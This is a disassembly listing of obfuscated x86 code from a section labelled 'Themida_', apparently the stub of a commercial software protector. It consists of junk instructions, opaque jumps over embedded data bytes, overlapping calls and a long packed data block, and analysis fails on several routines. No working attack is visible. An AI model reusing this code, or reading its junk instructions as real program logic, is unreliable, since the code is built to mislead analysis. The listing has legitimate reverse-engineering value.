jmp loc_602BCF
; ---------------------------------------------------------------------------
dd 0E2C026D4h, 0C1196ECBh, 0E195B64Bh
; ---------------------------------------------------------------------------
sbb al, 2Eh
int 3 ; Trap to Debugger
loc_602BCF: ; CODE XREF: sub_602BB0+Bj
mov cl, bl
sbb edx, 494780AEh
pusha
cmc
mov si, 0D10h
popa
jmp loc_602BF5
; ---------------------------------------------------------------------------
db 22h
dd 50BE2170h, 0E8C3E951h, 0C0451C26h, 4385DE0Bh
db 0B7h
; ---------------------------------------------------------------------------
loc_602BF5: ; CODE XREF: sub_602BB0+2Ej
mov cx, 8980h
movzx eax, bx
jnp loc_602C0C
jno loc_602C0C
mov cx, 4B6Ch
loc_602C0C: ; CODE XREF: sub_602BB0+4Cj
; sub_602BB0+52j
add si, 0D2D5h
call near ptr loc_602C1E+3
xchg eax, esi
scasb
xchg eax, ebp
mov [edx-48h], eax
pop ebp
out dx, al
loc_602C1E: ; CODE XREF: sub_602BB0+61p
test eax, 0BE6611F9h
sub_602BB0 endp ; sp-analysis failed
inc ebp
cwde
pop ecx
jns loc_602C2E
mov edx, eax
loc_602C2E: ; CODE XREF: Themida_:00602C26j
mov ax, 8823h
mov edi, 47ACB91Bh
jle loc_602C45
push ecx
adc esi, 1450ED0Ch
pop ebx
loc_602C45: ; CODE XREF: Themida_:00602C37j
jmp loc_602C5D
; ---------------------------------------------------------------------------
dw 29BDh
dd 0DD0CCD9Dh, 0EAB3E6Bh, 68503F56h, 5DD4675Ah
db 0D2h
; ---------------------------------------------------------------------------
loc_602C5D: ; CODE XREF: Themida_:loc_602C45j
mov ah, 40h
pusha
jno loc_602C69
mov ax, cx
loc_602C69: ; CODE XREF: Themida_:00602C60j
jmp loc_602C82
; ---------------------------------------------------------------------------
dw 4C8Bh
dd 3F942A4Ah, 0EF70D08Eh, 458E1A76h, 0C5B652Ah
; ---------------------------------------------------------------------------
xchg eax, ebx
dec edi
loc_602C82: ; CODE XREF: Themida_:loc_602C69j
popa
or edx, 5B909A1Ah
pusha
jno loc_602C93
mov cx, si
loc_602C93: ; CODE XREF: Themida_:00602C8Aj
movzx ebx, cx
popa
adc edx, 5BA7677Bh
jnb loc_602CAB
push ecx
jnp $+6
pop eax
loc_602CAB: ; CODE XREF: Themida_:00602C9Dj
pusha
mov ecx, 10CA8A67h
jmp loc_602CC5
; ---------------------------------------------------------------------------
dw 9C29h
dd 77E13E01h, 7DD2949Fh, 3202B0FCh
; ---------------------------------------------------------------------------
dec ecx
loc_602CC5: ; CODE XREF: Themida_:00602CB1j
popa
cld
jbe loc_602CD2
mov ecx, 3A921667h
loc_602CD2: ; CODE XREF: Themida_:00602CC7j
or ecx, 1520F2DEh
jmp loc_602CE9
; ---------------------------------------------------------------------------
db 66h, 58h, 5Ah
dd 0B8B9E937h, 257BF01Ah
db 79h
; ---------------------------------------------------------------------------
loc_602CE9: ; CODE XREF: Themida_:00602CD8j
jmp loc_602CFA
; ---------------------------------------------------------------------------
dw 0B651h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 4Fh, 0C1h, 21h
dd 22632EDDh
db 26h, 76h
; ---------------------------------------------------------------------------
loc_602CFA: ; CODE XREF: Themida_:loc_602CE9j
mov ah, 0D1h
mov ebx, 78BCD2A6h
pusha
jnb loc_602D0E
jge $+6
loc_602D0E: ; CODE XREF: Themida_:00602D02j
pusha
xor eax, 2F635311h
pusha
popa
popa
popa
mov bx, 0B87Ch
mov ah, 69h
stc
movzx esi, cx
movsx ecx, dx
sbb bx, 0A364h
clc
xor bx, 0E94Bh
mov edx, 94EA8AAh
clc
mov ah, 86h
jmp loc_602D4F
; ---------------------------------------------------------------------------
dw 0D84Eh
dd 7E9FC165h, 30A294EFh, 0E091CE86h
; ---------------------------------------------------------------------------
xchg eax, ebx
retn
; ---------------------------------------------------------------------------
db 1Ah
; ---------------------------------------------------------------------------
loc_602D4F: ; CODE XREF: Themida_:00602D39j
jmp loc_602D59
; ---------------------------------------------------------------------------
dd 0B65A61CDh
db 0C6h
; ---------------------------------------------------------------------------
loc_602D59: ; CODE XREF: Themida_:loc_602D4Fj
push ebx
cld
pop ebx
push edi
pop ebx
mov ecx, 2B93F158h
call sub_602D72
cmp al, 36h
icebp
adc eax, 9673E031h
xor [ebx], esp
; =============== S U B R O U T I N E =======================================
sub_602D72 proc near ; CODE XREF: Themida_:00602D63p
ja loc_602D7E
add eax, 5F8D0E95h
loc_602D7E: ; CODE XREF: sub_602D72j
pop edx
push ecx
movsx edi, ax
pop edx
mov bl, dl
push edi
pusha
stc
jle $+6
popa
pop ebx
jbe loc_602D9A
mov ax, cx
loc_602D9A: ; CODE XREF: sub_602D72+1Fj
jge loc_602DA8
jbe loc_602DA8
push edx
pop esi
loc_602DA8: ; CODE XREF: sub_602D72:loc_602D9Aj
; sub_602D72+2Ej
jo loc_602DB1
mov bx, dx
loc_602DB1: ; CODE XREF: sub_602D72:loc_602DA8j
mov ebx, 7914A347h
add edi, 304CE591h
mov di, ax
mov ecx, edx
jmp loc_602DCD
; ---------------------------------------------------------------------------
jmp edx
; ---------------------------------------------------------------------------
dd 191C3AE0h
db 77h
; ---------------------------------------------------------------------------
loc_602DCD: ; CODE XREF: sub_602D72+4Fj
mov ax, 6D6Ah
mov di, si
jmp loc_602DE9
; ---------------------------------------------------------------------------
db 37h, 2 dup(50h)
dd 0C4689A53h, 2AB86936h, 0E652F57Ah
db 33h
; ---------------------------------------------------------------------------
loc_602DE9: ; CODE XREF: sub_602D72+62j
mov edx, 5A66EC2h
push eax
call near ptr sub_602E08
shr byte ptr [ebx+63h], 1
dec ecx
jg short loc_602DFC
mov bh, 0EEh
loc_602DFC: ; CODE XREF: sub_602D72+86j
add edi, [ecx-763777BEh]
pop edi
push ecx
push ds
push es
out dx, al
pop esp
sub_602D72 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_602E08 proc far ; CODE XREF: sub_602D72+7Dp
mov bx, dx
pop ebx
pop esi
pusha
cmc
mov edi, 169C6927h
popa
push ebx
pusha
mov ecx, 6D310A03h
jmp loc_602E33
; ---------------------------------------------------------------------------
db 37h, 82h, 0Dh
dd 4F03D01h, 0D76BD4B5h, 0B41C6792h
db 0Dh, 0F3h, 0E3h
; ---------------------------------------------------------------------------
loc_602E33: ; CODE XREF: sub_602E08+14j
popa
pop ecx
add bx, 4286h
movzx esi, bx
adc ecx, 11C03CB2h
mov esi, 0CED2C37h
mov cx, 5FB0h
mov esi, 67551A83h
xor al, 0E9h
pusha
jmp loc_602E67
; ---------------------------------------------------------------------------
dw 9E1h
dd 0FBA081C4h, 0FC21FE3Bh
db 0F4h, 0C4h, 82h
; ---------------------------------------------------------------------------
loc_602E67: ; CODE XREF: sub_602E08+4Dj
mov ecx, 0A4B7E77h
popa
movsx ecx, bx
add cx, 0D3ADh
jmp loc_602E8E
; ---------------------------------------------------------------------------
dw 0AFF9h
dd 5F096A80h, 0C59948D1h, 2B5778ADh, 42A032C3h
; ---------------------------------------------------------------------------
sub esp, edx
loc_602E8E: ; CODE XREF: sub_602E08+6Dj
sub si, 0FE01h
mov cx, dx
jmp loc_602EAF
; ---------------------------------------------------------------------------
or dl, 0D4h
div byte ptr [edi-65CD727Eh]
mov cl, 0A8h
sbb al, 27h
adc ebp, ebp
db 64h
aas
pop esi
retn
; ---------------------------------------------------------------------------
db 77h
; ---------------------------------------------------------------------------
loc_602EAF: ; CODE XREF: sub_602E08+8Ej
push edi
pop edx
pusha
pusha
movsx ecx, cx
jmp loc_602ECF
; ---------------------------------------------------------------------------
db 0AAh
dd 0F6DCEF76h, 2597738Fh, 605B395Dh, 0F677F22Ah
db 80h, 0ABh, 0D8h
; ---------------------------------------------------------------------------
loc_602ECF: ; CODE XREF: sub_602E08+AEj
popa
mov si, di
popa
jmp loc_602EED
; ---------------------------------------------------------------------------
db 5, 69h, 0ADh
dd 0E27443D4h, 0DD86677h, 7996EB4Fh, 9BF7A6C7h
db 0DFh
; ---------------------------------------------------------------------------
loc_602EED: ; CODE XREF: sub_602E08+CCj
jmp loc_602EFE
; ---------------------------------------------------------------------------
mov eax, 0C6F6C5E8h
dec esp
aaa
mov ebx, 0BB0A472Bh
loc_602EFE: ; CODE XREF: sub_602E08:loc_602EEDj
mov ebx, edi
movzx edx, dx
jo loc_602F0E
mov ecx, 384F7D2Ah
loc_602F0E: ; CODE XREF: sub_602E08+FBj
jmp loc_602F22
; ---------------------------------------------------------------------------
db 0B9h
dd 194D1B1Bh, 46DE1A66h, 506D9C35h
db 16h, 0F2h
; ---------------------------------------------------------------------------
loc_602F22: ; CODE XREF: sub_602E08:loc_602F0Ej
jns $+6
jmp loc_602F3E
; ---------------------------------------------------------------------------
db 0E8h, 69h, 0CAh
dd 345E36F3h, 2ADE16E4h, 7AD72360h
db 10h, 72h
; ---------------------------------------------------------------------------
loc_602F3E: ; CODE XREF: sub_602E08+120j
jmp loc_602F4E
; ---------------------------------------------------------------------------
db 0E2h
; ---------------------------------------------------------------------------
popa
mov eax, ds:0F81D8DCFh
cdq
push ebp
xor dh, [edx]
loc_602F4E: ; CODE XREF: sub_602E08:loc_602F3Ej
jmp loc_602F65
; ---------------------------------------------------------------------------
db 0EFh
dd 0B4B3B77Dh, 76CB6A0Ah, 0B0E9CCEEh, 0DE030509h
db 0CDh
; ---------------------------------------------------------------------------
loc_602F65: ; CODE XREF: sub_602E08:loc_602F4Ej
pusha
mov dx, 673Bh
pusha
mov bx, dx
popa
popa
jnp loc_602F92
js loc_602F92
jmp loc_602F92
; ---------------------------------------------------------------------------
db 0C8h, 1Dh, 45h
dd 48066027h, 0EC7BC9B4h, 375C3058h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0EDh
; ---------------------------------------------------------------------------
loc_602F92: ; CODE XREF: sub_602E08+168j
; sub_602E08+16Ej ...
mov ax, 4C9Bh
jmp loc_602FA7
; ---------------------------------------------------------------------------
db 76h
dd 2AA04AA2h, 1D58EFB2h
db 0D5h, 0AFh, 0ECh
; ---------------------------------------------------------------------------
loc_602FA7: ; CODE XREF: sub_602E08+18Ej
jmp loc_602FB8
; ---------------------------------------------------------------------------
xlat
push cs
retf 0D7F2h
; ---------------------------------------------------------------------------
db 13h, 5Ah, 10h
dd 0F3795A92h
; ---------------------------------------------------------------------------
loc_602FB8: ; CODE XREF: sub_602E08:loc_602FA7j
mov ecx, edi
jmp loc_602FCA
; ---------------------------------------------------------------------------
db 62h
dd 419C6932h, 8E52ADA7h
db 0Dh, 0B5h
; ---------------------------------------------------------------------------
loc_602FCA: ; CODE XREF: sub_602E08+1B2j
call near ptr loc_602FD6+3
aam 6Bh
xlat
xchg eax, edx
db 67h
sbb al, 0B4h
loc_602FD6: ; CODE XREF: sub_602E08:loc_602FCAp
or eax, 0BF0FE3F3h
sub_602E08 endp ; sp-analysis failed
leave
pop ecx
add esi, 3C47D494h
jmp loc_602FF8
; ---------------------------------------------------------------------------
dd 0D5B40441h, 8F7FECF0h, 0A2D4162h, 0AC1F96E9h
; ---------------------------------------------------------------------------
loc_602FF8: ; CODE XREF: Themida_:00602FE3j
pusha
sub ebx, 0ABA6D8Ah
pusha
push ecx
pop ebx
popa
popa
movsx ebx, bx
mov esi, ecx
or di, 99F8h
push esi
pop ebx
call near ptr loc_60301C+3
aad 17h
xchg eax, esi
lea edi, [esi-33h]
outsd
loc_60301C: ; CODE XREF: Themida_:00603010p
mov esp, 870F01A3h
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 0EA815B00h, 1F031324h, 3840FF9h, 0F000000h, 6E8CFB7h
dd 0FA000000h, 7AF34E59h, 2F68BE04h, 605F1E65h, 5E9h, 0F4E52200h
dd 0E880818Fh, 8B666164h, 0B5EF8AD9h, 7E9A0h, 0C3F00000h
dd 0F255D9A1h, 0E6816608h, 11E89D31h, 41000000h, 0AF115987h
dd 64BB52E8h, 4693B53Dh, 69E50950h, 0B70F5EF8h, 5890FD7h
dd 0B9000000h, 471488ADh, 0E68166F5h, 0CE94385h, 9F000000h
dd 759DE164h, 0B05410Ah, 0B685156Dh, 0F18B6630h, 0D78B66F9h
dd 0FD3B70Fh, 168Eh, 11E900h, 435C0000h, 0E32B37BCh, 2949D5BFh
dd 670B07A1h, 66FDA1FFh, 8D19EF81h, 0B9D98B66h, 16B715D2h
dd 12E8h, 29759200h, 9C036305h, 1739A1A3h, 132A834Ah, 0F5EAF73Fh
dd 8810F58h, 0F000000h, 285h, 66CA8B00h, 4E96EA81h, 0B8A835B9h
dd 0F08B667Bh, 8AD78B66h, 6657F5C5h, 5A6748B8h, 14E9h
dd 407E5600h, 0EEACA2F8h, 8C46B76Ah, 7F7BB25Eh, 7ECE7D44h
dd 0FAF4BA88h, 68B2401Fh, 0CE9h, 0CAC64C00h, 0BBBE3Ah
dd 5CFEDCB7h, 0E9C38B45h, 6, 0E0B5F879h, 0CA810897h, 2F15283Ah
dd 3FC2B966h, 0F5FE8B66h, 0B426B1F9h, 0E42CBA10h, 0E9600963h
dd 0Ch, 51B19506h, 37165F58h, 1BFBC055h, 61A0D980h, 0AE8h
dd 0CE65EF00h, 0EA90F9F6h, 5BC9C848h, 0F7816660h, 8B66852Bh
dd 816661F2h, 0F8EA4C3h, 68Bh, 0B9C38100h, 0E902710Dh
dd 0Fh, 0F0367D3Ch, 0F87C1E87h, 0CD5C865Eh, 0BF0DBA75h
dd 72070589h, 12E9h, 0E8E70700h, 5105E75Ah, 3D30DF44h
dd 65D6C7E9h, 0F220E7Fh, 0E8Eh, 9E900h, 0E5D70000h, 19B88E57h
dd 605671DBh, 8B66D38Bh, 0EAB861D8h, 666E40D5h, 8166F98Bh
dd 0BE0355E3h, 5B328F58h, 830F5E51h, 2, 890FC28Bh, 3, 0E9C7BF0Fh
dd 0Eh, 15F8D9BAh, 7D75CEE2h, 6CD1BBF5h, 8157FA9Ch, 0D8334D3h
dd 23BA5F6Dh, 0F075249h, 589h, 0E9816600h, 0ED801CE2h
dd 3148B841h, 0BE6638E6h, 8B66E168h, 0F393BACEh, 0CE93D92h
dd 0A3000000h, 0F103E622h, 0C593E2B8h, 664461CFh, 0DE9CF8Bh
dd 58000000h, 5B4A5F5Ch, 1C926A5Bh, 8A6A03F1h, 58FC5156h
dd 14E959h, 78280000h, 9019AF08h, 0FB08C4CAh, 3BCBE583h
dd 9BAB312Eh, 0AE93963h, 2F000000h, 0BB2E650Fh, 0A4E1CD10h
dd 8166608Ah, 53822DF7h, 8166615Ah, 0FFA3FD6h, 688h, 52E78100h
dd 6639BE6Bh, 0B70FDA8Bh, 0C890FD7h, 0E9000000h, 7, 4573A593h
dd 56DAEC3Dh, 0F616060h, 5861C0B7h, 0C8816051h, 602E7B89h
dd 0F5F61F5h, 1586h, 10E900h, 0AC3C0000h, 0DE7328C0h, 0A57FA2FDh
dd 92E231A7h, 8A606644h, 8BED80F8h, 3800F61h, 0F000000h
dd 0D681F8BFh, 311B0229h, 0DF68166h, 0C18135h, 66587002h
dd 80525DB9h, 820FBAD3h, 3, 66D78B66h, 0BACCDA81h, 5820FF9h
dd 51000000h, 5FDAB70Fh, 8840Fh, 66600000h, 500539BBh
dd 13B7615Fh, 6870Fh, 0D0810000h, 55948BB2h, 2E67C081h
dd 8B0F47A6h, 0Ah, 5E9h, 0BBE64A00h, 0CB80F6A8h, 3830FE5h
dd 0F000000h, 63B6C9BFh, 0B9D38B66h, 8F672D5h, 26840Fh
dd 0E9600000h, 0Dh, 0FBE44775h, 53B45A6Fh, 2417C33Eh, 0CE881h
dd 9EC80000h, 5899C50Dh, 44556317h, 61589113h, 0F989BB66h
dd 92078EBEh, 0F3B70F16h, 8E9h, 35AB9B00h, 1CD7A5EFh, 0D0BF0F44h
dd 9E9h, 0A2955100h, 0C3C64727h, 0BF0FEB5Fh, 5B5BBF2h
dd 5B510997h, 0C480D08Bh, 880F4Ah, 0B4000000h, 0EE966h
dd 0B0D70000h, 2F54B357h, 0EF81AD44h, 4B9ACCF1h, 8C4BB8F5h
dd 810F11CCh, 15h, 0EE8h, 2F36C200h, 8FBF3DD6h, 946C69A2h
dd 0F547FE69h, 890F6058h, 2, 10E96160h, 2000000h, 0DAF1B56Bh
dd 0FCD986D5h, 0D57EE54Ch, 61B87382h, 11E9h, 0D71C7800h
dd 0F370040Dh, 62C9EDF4h, 0E0C1AC2Bh, 51605723h, 0E3D28166h
dd 0CE9586Ah, 0D000000h, 0CB020B44h, 7FBFCCEh, 61495DF5h
dd 0E8CFBF0Fh, 9, 61DDF248h, 767AB50Ah, 525AF83Fh, 5FF88B66h
dd 0D2DA8166h, 0FC5E5622h, 81C18B66h, 0E8EDB7C6h, 0E9CB8B6Ch
dd 9, 0B189C24Ah, 61F9D97Dh, 0E95A57CEh, 0Ah, 312D3E95h
dd 5882568h, 870F1D9Ch, 0
dd 8163B2FCh, 789AD2DEh, 800F1Fh, 8B000000h, 0F08060D6h
dd 0CF815240h, 48F72E9Bh, 8E8615Ah, 8E000000h, 0EB05E13Ch
dd 66131E94h, 0F5EF98Bh, 5E8F7B7h, 0B4000000h, 0EDA0C361h
dd 5E9h, 403CDF00h, 515818D6h, 10E958h, 33730000h, 491ECA42h
dd 0CEA5746Ch, 5B010336h, 9E9BF68h, 0FD000000h, 0A83BBDB0h
dd 6D31D76h, 7E9h, 83F07200h, 0A0C9EB48h, 0A5DFDB81h, 0D38B7B87h
dd 2D38166h, 0FC38B87h, 589h, 9BC5BB00h, 8E0F474Dh, 0Ah
dd 0F5A5160h, 8Ah, 22B96100h, 817F654Fh, 61901AD2h, 0F8CE800Eh
dd 0E9F1EB80h, 8, 271DE2AAh, 1354B788h, 0BE9h, 3FECB000h
dd 83962596h, 592AC196h, 0FFABF0Fh, 686h, 0ADC68100h, 602AC8A3h
dd 3840Fh, 0BF0F0000h, 0CEBF0FF0h, 14E861h, 0D580000h
dd 0F42299CFh, 0A6FF3692h, 96EE603Fh, 6A61BD46h, 8E0FAD50h
dd 3, 59CE8B66h, 830F6057h, 0
dd 5A615957h, 0CE8166FCh, 0BF0FA6ECh, 9CE380C8h, 0E142B966h
dd 0E8F0B70Fh, 7, 527A099Fh, 5BC52A25h, 13E9h, 6D7C4900h
dd 0D7001B30h, 0C1F64651h, 563C150Ah, 0BE70992Dh, 66D18B60h
dd 615460BFh, 2810F57h, 0B2000000h, 0F605E53h, 38Ah, 0D0BF0F00h
dd 9E95261h, 0CA000000h, 7D0E20B0h, 0CEA393C0h, 0EE95Bh
dd 8B970000h, 78223524h, 339F2CA2h, 58F394CEh, 810FEE8Ah
dd 0Ch, 2EB86660h, 870F59h, 61000000h, 13E9h, 0CF00E300h
dd 19EC2AF2h, 4B96D67h, 0FE8B616Ch, 15BA2DF1h, 0B039B0B9h
dd 8062B14Eh, 0BF668ACEh, 0CE816585h, 4CBD4117h, 8F0F48B1h
dd 3, 0E9CFBF0Fh, 0Ch, 9DC88C98h, 27BF6516h, 79947C5Ah
dd 49C06FB8h, 4DBE6656h, 0D78B66DAh, 16830Fh, 11E90000h
dd 0D5000000h, 606CD588h, 12825A15h, 26B67AF5h, 0D65F1802h
dd 4CC78166h, 3880F30h, 80000000h, 0DE817FE7h, 40111877h
dd 5E9h, 6B595100h, 0F60909Ah, 148Eh, 0FE900h, 31D80000h
dd 8E6DFA2Dh, 41E22696h, 6917CADh, 9E92Fh, 7BD80000h, 24AC600Dh
dd 61A60044h, 0AE8h, 31ABB700h, 547760BEh, 565DDE53h, 870Fh
dd 5B5E0000h, 14E8D88Bh, 0C2000000h, 0F6110EACh, 28B887AAh
dd 0C010981Bh, 250CB52Ch, 0BA34A1E4h, 51A71767h, 12E858h
dd 0D1210000h, 0DFAF9E9Ah, 0C57325F5h, 0BEFB35EFh, 3C43DC0Ah
dd 6D20C981h, 0E858205Bh, 11h, 284FB496h, 0E203A9C8h, 5C8DDC7Ch
dd 344EC062h, 7AC2BF94h, 0F5E0763h, 0E8Ch, 9E900h, 0EC240000h
dd 207E3653h, 0E8FEA60Ch, 13h, 43BA0BFCh, 98C63A42h, 0A1A8FCD5h
dd 5D579A50h, 0F351B63h, 182h, 0E858FC00h, 14h, 0D6E94A85h
dd 5AC12607h, 0CA240A96h, 7E1F9820h, 0C0FBA76Fh, 0F5EF38Bh
dd 88h, 4CEA8000h, 8B25E980h, 0C18153DAh, 29AB6DBEh, 0D0BF0F5Fh
dd 8BDF8B66h, 12E9C8h, 415E0000h, 0F02E711h, 0CBC0A9Eh
dd 0F8A5F602h, 3D07F3D1h, 6E9h, 24728E00h, 81BD19B2h, 5A0416E1h
dd 81605314h, 0DBF908F1h, 93E1814Fh, 61617D95h, 38B0F5Ah
dd 80000000h, 12E935F5h, 0F3000000h, 0C7956493h, 4DEBDC32h
dd 0A93F2569h, 0F7CD76D8h, 0E9CE8B68h, 0Fh, 0F35F1B3Dh
dd 0FF0FE9B5h, 5D0A1959h, 0BA426778h, 4844DA0Ah, 830FF8h
dd 0B1000000h, 118C0F6Eh, 0E9000000h, 0Ch, 0DF31FA99h
dd 3969E907h, 2F0BCF0Fh, 0B34AE881h, 11E80694h, 88000000h
dd 169C6882h, 2E844966h, 0D4059A4h, 13607AC7h, 5B5E5050h
dd 0D981605Eh, 18CADA86h, 0D1C98BAh, 8B576170h, 0DE95BD9h
dd 9000000h, 0C0930F4Dh, 0BE2F6E49h, 0EBCF6F56h, 68F0F50h
dd 0F000000h, 87h, 8B605A00h, 0BB6660DAh, 61614D5Fh, 14E9h
dd 288E4700h, 67B21201h, 0A66D42FCh, 80C5BAFDh, 0E9CC0A0h
dd 0C28B6681h, 6CC98160h, 0E97A8AB2h, 7, 818FF4E5h, 61B14879h
dd 0AE9h, 899A9A00h, 35850079h, 0FB4A899h, 1380h, 0AE800h
dd 85B00000h, 96682C65h, 0F5C3A448h, 581CC480h, 0FE216CB9h
dd 8D55BF1Ah, 8B6604B3h, 0FF78BF3h, 0CC8AD8B7h, 45BB5F50h
dd 0E928B009h, 14h, 0FF502C0Dh, 0D1D69BD0h, 0A053B661h
dd 50CE17DDh, 0F8C0DCC1h, 0DE9h, 894AA500h, 610A9549h
dd 82F25739h, 816674BAh, 8B738FEAh, 0A1BF66DFh, 0B70F609Bh
dd 0DFBF0FD3h, 68BA6661h, 0C28B6644h, 1AB7CABEh, 0EB90B84Ah
dd 0FCF81A40h, 0DEB70F60h, 0D6816651h, 6158F393h, 0FF7EF80h
dd 68Bh, 0F08A6000h, 6661F28Bh, 0AD00F281h, 12CA8166h
dd 4880F86h, 66000000h, 0BA6793BFh, 53C55D65h, 0B70FF8B4h
dd 0DE8FEh, 41330000h, 3684110Ch, 34D50029h, 0E952ECF5h
dd 13h, 5FCFA322h, 0F15F6907h, 0A23ED0DCh, 0D844BC02h
dd 5E87A78Bh, 0E86FD280h, 9, 1668AC24h, 0E120497Ah, 0DE96041h
dd 0AC000000h, 0B2103A9Ch, 0EC35166Dh, 8A3AFE92h, 0BE9h
dd 5F51CE00h, 5CC9EF29h, 94A8F99Eh, 870F5E61h, 4, 0B6F8BF66h
dd 60D68B66h, 20A6E881h, 11E9302Dh, 0AD000000h, 2E737809h
dd 2FCFF399h, 3008C349h, 88B654ACh, 0C7B96661h, 0DF8B66E0h
dd 4810Fh, 0BE660000h, 0B96681B8h, 0FE9CFEEh, 0DF000000h
dd 1BCB8596h, 9BADA61Dh, 7BA9D0DDh, 8B667D8Ch, 5850FF0h
dd 66000000h, 6EEBF681h, 0F1BF0F50h, 58B0F5Fh, 66000000h
dd 32B9DB81h, 0CE8h, 0F8EEAA00h, 70374B50h, 0DAC72D6Ch
dd 800F60CBh, 0
; ---------------------------------------------------------------------------
jmp loc_603B08
; ---------------------------------------------------------------------------
db 6Ah, 0B3h, 79h
dd 0D17227Ah
; ---------------------------------------------------------------------------
loc_603B08: ; CODE XREF: Themida_:00603AFCj
popa
pop eax
jns loc_603B12
mov esi, ecx
loc_603B12: ; CODE XREF: Themida_:00603B0Aj
jno loc_603B1A
mov bl, 16h
loc_603B1A: ; CODE XREF: Themida_:loc_603B12j
jmp loc_603B27
; ---------------------------------------------------------------------------
db 0F4h
dd 4C44F0FDh
db 0ADh, 99h, 0F0h
; ---------------------------------------------------------------------------
loc_603B27: ; CODE XREF: Themida_:loc_603B1Aj
jmp loc_603B38
; ---------------------------------------------------------------------------
dd 231C84C7h, 59446B73h, 32E29120h
; ---------------------------------------------------------------------------
loc_603B38: ; CODE XREF: Themida_:loc_603B27j
jmp loc_603B4A
; ---------------------------------------------------------------------------
db 0FDh, 0DCh, 3Ch
dd 0FC1B7C2Fh, 338CB136h
; ---------------------------------------------------------------------------
movsd
push ebx
loc_603B4A: ; CODE XREF: Themida_:loc_603B38j
mov dx, 8A64h
jmp loc_603B5D
; ---------------------------------------------------------------------------
db 18h
; ---------------------------------------------------------------------------
push 0E0373B52h
cmp [eax], eax
inc ebp
lodsb
loc_603B5D: ; CODE XREF: Themida_:00603B4Ej
mov dh, 41h
and edi, 77281BAEh
mov ch, 4Eh
jmp loc_603B7C
; ---------------------------------------------------------------------------
dd 0D240581Ch, 0BFC48F71h, 0E540C18Ch, 11A14BEAh
; ---------------------------------------------------------------------------
loc_603B7C: ; CODE XREF: Themida_:00603B67j
jmp loc_603B88
; ---------------------------------------------------------------------------
align 2
dw 61CDh
dd 0CC6B65Ah
; ---------------------------------------------------------------------------
loc_603B88: ; CODE XREF: Themida_:loc_603B7Cj
pusha
mov esi, 44F32126h
popa
jnb loc_603B96
stc
loc_603B96: ; CODE XREF: Themida_:00603B8Fj
add bh, 0E4h
cld
add ebx, 3731B303h
sub di, 0F509h
mov si, 0BC47h
jge loc_603BB2
adc bl, 1Fh
loc_603BB2: ; CODE XREF: Themida_:00603BA9j
push edx
jnb $+6
pop ecx
movsx esi, bx
pusha
cld
popa
movsx eax, dx
or di, 7CACh
jle loc_603BD3
adc di, 104h
loc_603BD3: ; CODE XREF: Themida_:00603BC8j
mov ebx, edi
mov bx, 0DCD6h
pusha
jmp loc_603BF2
; ---------------------------------------------------------------------------
db 70h
dd 3135ADh, 9227070Dh, 0B7266557h, 20C1EC32h
db 0E9h, 8Ch
; ---------------------------------------------------------------------------
loc_603BF2: ; CODE XREF: Themida_:00603BDAj
popa
jno loc_603BFE
pusha
movsx eax, bx
popa
loc_603BFE: ; CODE XREF: Themida_:00603BF3j
sbb ecx, 4AAFFh
stc
cld
and si, 7DEEh
movzx edx, ax
jnp loc_603C19
sub di, 0AA69h
loc_603C19: ; CODE XREF: Themida_:00603C0Ej
cmc
mov ebx, 2484A4DEh
mov ch, 0EEh
jmp loc_603C2F
; ---------------------------------------------------------------------------
dw 0CE3Fh
; ---------------------------------------------------------------------------
test al, 93h
retf
; ---------------------------------------------------------------------------
db 0F9h
db 0D3h, 0A2h, 0C5h
; ---------------------------------------------------------------------------
loc_603C2F: ; CODE XREF: Themida_:00603C21j
sbb ebx, 37361E87h
jl loc_603C3D
mov ch, dl
loc_603C3D: ; CODE XREF: Themida_:00603C35j
ja loc_603C44
cld
loc_603C44: ; CODE XREF: Themida_:loc_603C3Dj
mov cl, 6Bh
call sub_603C5C
cmp eax, 94ED015Dh
sub bh, dl
sub edi, edx
xor [ebp-6048F68Eh], ah
aam 35h
; =============== S U B R O U T I N E =======================================
sub_603C5C proc near ; CODE XREF: Themida_:00603C46p
mov ebx, 5DF36BD3h
pop edx
adc ebx, 63E976Ah
movsx edi, dx
mov ecx, 6980D6E9h
movsx esi, dx
mov ecx, 496C66DDh
mov si, ax
mov eax, 228C20FBh
sbb bx, 0A685h
jmp loc_603C9A
; ---------------------------------------------------------------------------
dw 9545h
dd 22DCDBFEh, 54A250D9h, 5609131Ch
db 90h
db 0C1h
; ---------------------------------------------------------------------------
loc_603C9A: ; CODE XREF: sub_603C5C+29j
call loc_603CAF
int 8Ah ; used by BASIC while in interpreter
fsub dword ptr [ecx]
push ss
shl dword ptr [ecx], 1
dec ebp
aaa
xor ch, [edi+esi*8+11h]
fstp st(6)
cmpsd
sub_603C5C endp ; sp-analysis failed
loc_603CAF: ; CODE XREF: sub_603C5C:loc_603C9Ap
and edi, 3B111F26h
pop ebx
add esi, 3BA23ECBh
mov ch, 0DEh
mov si, 9FEAh
jmp loc_603CCD
; ---------------------------------------------------------------------------
db 9
dd 499ADA14h
db 0
; ---------------------------------------------------------------------------
loc_603CCD: ; CODE XREF: Themida_:00603CC2j
pusha
jmp loc_603CE5
; ---------------------------------------------------------------------------
db 3
dd 0FD46D676h, 0ED62431Ah, 0C39C23B7h, 0AD23D6ADh
db 36h
; ---------------------------------------------------------------------------
loc_603CE5: ; CODE XREF: Themida_:00603CCEj
and dx, 0E38Bh
popa
cmc
stc
mov cx, 471Ah
pusha
jmp loc_603D03
; ---------------------------------------------------------------------------
db 78h
dd 0DFD10C81h, 0A5594367h
db 11h, 0C3h, 10h
; ---------------------------------------------------------------------------
loc_603D03: ; CODE XREF: Themida_:00603CF2j
call sub_603D14
adc ebx, edx
dec edi
jle short near ptr loc_603D2A+2
; ---------------------------------------------------------------------------
db 0C4h, 0CFh, 0F6h
; ---------------------------------------------------------------------------
enter 49D7h, 1Bh
; =============== S U B R O U T I N E =======================================
sub_603D14 proc near ; CODE XREF: Themida_:loc_603D03p
mov dl, al
pop edx
popa
sbb di, 8E70h
mov di, 0AF73h
cmc
sub cx, 9FB1h
movzx ecx, bx
loc_603D2A: ; CODE XREF: sub_603D3D+1Ej
; Themida_:00603D0Bj
mov dx, 70DEh
sbb dx, 0CF65h
call sub_603D3D
mov dl, 5Dh
push eax
out 81h, al ; DMA page register 74LS612:
sub_603D14 endp ; sp-analysis failed ; Channel 2 (diskette DMA) (address bits 16-23)
; =============== S U B R O U T I N E =======================================
